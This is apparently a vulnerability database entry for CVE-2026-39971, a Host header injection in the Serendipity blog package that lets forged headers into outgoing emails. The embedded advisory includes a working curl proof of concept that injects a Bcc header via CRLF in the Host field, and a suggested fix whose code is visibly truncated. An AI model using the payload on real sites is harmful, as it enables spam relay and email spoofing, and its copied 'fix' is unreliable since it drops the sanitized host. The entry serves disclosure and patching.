CVE-2026-39971: S9y/serendipity Serendipity Has A Host Header Vulnerability
HIGHCVE-2026-39971 is a HIGH (CVSS 7.2) serendipity has a host header vulnerability (CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')) affecting S9y/serendipity libraries in the Packagist ecosystem. The issue involves serendipity has a host header injection allows smtp header injection via unvalidated http_host in message-id email header. Remediation is available by upgrading affected packages to version 2.6.0.
CVE-2026-39971 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-39971
To remediate this vulnerability, upgrade all affected S9y/serendipity dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade s9y/serendipity to 2.6.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for s9y/serendipity
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-39971, inspect your project dependencies for S9y/serendipity:
inspect dependencies for s9y/serendipity
Analyze the terminal output to locate any version of S9y/serendipity in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), where the product receives data from an http agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes cr and lf characters before the data is included in outgoing http headers. In S9y/serendipity, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-39971 Affected S9y/serendipity Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
s9y/serendipity
|
Packagist |
< 2.6.0
|
2.6.0
|
References
Frequently Asked Questions
What is CVE-2026-39971?
Which S9y/serendipity versions are affected?
What version fixes CVE-2026-39971?
Is s9y/serendipity affected?
What is the CVSS score of CVE-2026-39971?
What CWE is associated with CVE-2026-39971?
How can I check Packagist dependencies for CVE-2026-39971?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-458g-q4fh-mj6r",
"modified" : "2026-04-27T15:02:16Z",
"published" : "2026-04-14T22:32:38Z",
"aliases" : [ "CVE-2026-39971" ],
"summary" : "Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header",
"details" : "### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: <' \n . bin2hex(random_bytes(16)) \n . '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled\n . '>';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n return (strpos($d, \"\\r\") === false && strpos($d, \"\\n\") === false \n && stripos($d, \"%0A\") === false && stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n -H \"Host: attacker.com>\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n -d \"serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1\" \\\n http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: <deadbeef@attacker.com>\nBcc: victim@evil.com\nX-Injected: >\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "s9y/serendipity"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.6.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39971"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/s9y/Serendipity"
}, {
"type" : "WEB",
"url" : "https://github.com/s9y/Serendipity/releases/tag/2.6.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-113" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-14T22:32:38Z",
"nvd_published_at" : "2026-04-15T04:17:39Z"
}
}